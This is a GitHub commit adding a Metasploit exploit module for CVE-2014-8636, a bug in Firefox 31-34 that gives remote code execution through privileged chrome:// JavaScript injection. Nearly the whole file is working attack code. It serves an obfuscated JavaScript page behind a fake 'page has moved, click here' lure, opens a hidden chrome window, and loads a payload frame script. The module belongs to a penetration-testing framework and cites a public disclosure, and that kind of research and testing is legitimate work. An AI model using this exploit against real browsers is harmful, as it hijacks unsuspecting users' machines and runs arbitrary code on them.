Add exploit for R7-2015-04, Firefox Proxy RCE

rapid7 · Mar 23, 2015 · 21a97c0 · 21a97c0
1 parent 1a2a78b
commit 21a97c0
Showing 1 changed file with 115 additions and 0 deletions.
diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb
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+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex/exploitation/jsobfu'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+  include Msf::Exploit::Remote::BrowserAutopwn
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Firefox Proxy Prototype Privileged Javascript Injection',
+      'Description'    => %q{
+        This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
+        component and gaining a reference to the privileged chrome:// window. This exploit
+        requires the user to click anywhere on the page to trigger the vulnerability.
+      },
+      'License' => MSF_LICENSE,
+      'Author'  => [
+        'joev' # discovery and metasploit module
+      ],
+      'DisclosureDate' => "Jan 20 2014",
+      'References' => [
+        ['CVE', '2014-8636'],
+        ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
+        ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
+
+      ],
+      'Targets' => [
+        [
+          'Universal (Javascript XPCOM Shell)', {
+            'Platform' => 'firefox',
+            'Arch' => ARCH_FIREFOX
+          }
+        ],
+        [
+          'Native Payload', {
+            'Platform' => %w{ java linux osx solaris win },
+            'Arch'     => ARCH_ALL
+          }
+        ]
+      ],
+      'DefaultTarget' => 0,
+      'BrowserRequirements' => {
+        :source  => 'script',
+        :ua_name => HttpClients::FF,
+        :ua_ver  => lambda { |ver| ver.to_i.between?(31, 34) }
+      }
+    ))
+
+    register_options([
+      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
+    ], self.class)
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    send_response_html(cli, generate_html(target_info))
+  end
+
+  def default_html
+    "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
+  end
+
+  def generate_html(target_info)
+    key = Rex::Text.rand_text_alpha(5 + rand(12))
+    frame = Rex::Text.rand_text_alpha(5 + rand(12))
+    r = Rex::Text.rand_text_alpha(5 + rand(12))
+    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
+
+    js = js_obfuscate %Q|
+      var opts = #{JSON.unparse(opts)};
+      var key = opts['#{key}'];
+      var props = {};
+      props.has = function(n){
+        if (!window.top.x && n=='nodeType') {
+          window.top.x=window.open("chrome://browser/content/browser.xul", "x",
+            "chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
+          if (window.top.x) {
+            Object.setPrototypeOf(document, pro);
+            setTimeout(function(){
+              x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
+
+              setTimeout(function(){
+                x.messageManager.loadFrameScript('data:,'+key, false);
+                setTimeout(function(){
+                  x.close();
+                }, 100)
+              }, 100)
+            }, 100);
+          }
+        }
+      }
+      var pro = Object.getPrototypeOf(document);
+      Object.setPrototypeOf(document, Proxy.create(props));
+    |
+
+    %Q|
+      <!doctype html>
+      <html>
+        <body>
+          <script>
+            #{js}
+          </script>
+          #{datastore['CONTENT'] || default_html}
+        </body>
+      </html>
+    |
+  end
+end